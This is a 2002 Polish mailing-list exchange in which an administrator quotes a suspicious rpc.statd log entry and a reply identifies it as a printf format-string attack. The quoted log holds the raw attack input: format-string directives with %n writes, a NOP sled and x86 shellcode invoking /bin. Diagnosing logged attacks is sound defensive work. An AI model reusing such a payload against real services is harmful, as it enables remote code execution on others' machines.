Co to jest? (wpis w logach - w miarę pilne)

[Andrzej Szombierski]

On Sun, 7 Apr 2002, Łukasz Maśko wrote:

> [...]
> Poprawka - ponieważ mam te informacje porozrzucane po różnych plikach, nad 
> którymi jeszcze nie panuję (zmieniłem logger na syslog-ng), znalazłem, że 
> przed tym było:
> Apr  7 11:31:49 yen rpc.statd[1454]: gethostbyname error for 
> ^X÷˙ż^X÷˙ż^Y÷˙ż^Y÷˙ż^Z÷˙ż^Z÷˙żESC÷˙żESC÷˙ż%8x%8x%8x%8x%8x%8x%8x%8x%8x%236
> x%n%137x%n%10x%n%192x%n<90><90><90><90><90><90><90><90><90><90><90><90><90>
> <90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90>
> [to się powtarza kilkanaście razy, na końcu jest:]
> <90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90>
> <90>1Ŕë|Y<89>A^P<89>ţŔ<89>A^D<89>ĂţŔ<89>^A°fÍ<80>ł^B<89>Y^LĆA^N<99>Ć^P<89>I^D
> <80>A^D^L<88>^A°fÍ<80>ł^D°fÍ<80>ł^E0Ŕ<88>A^D°fÍ<80><89>Î<88>Ă1É°?Í<80>ţÁ°?Í
> <80>ţÁ°?Í<80>Ç^F/bin
> 
> a potem to, co pisałem wcześniej.
> -- 

To [...]%236x%n%137x%n%10x%n%192x%n[...] wyglada jak typowy atak "printf
format string".

Andrzej Szombierski
anszom w v-lo.krakow.pl / qq w kuku.eu.org / anszom w klub.chip.pl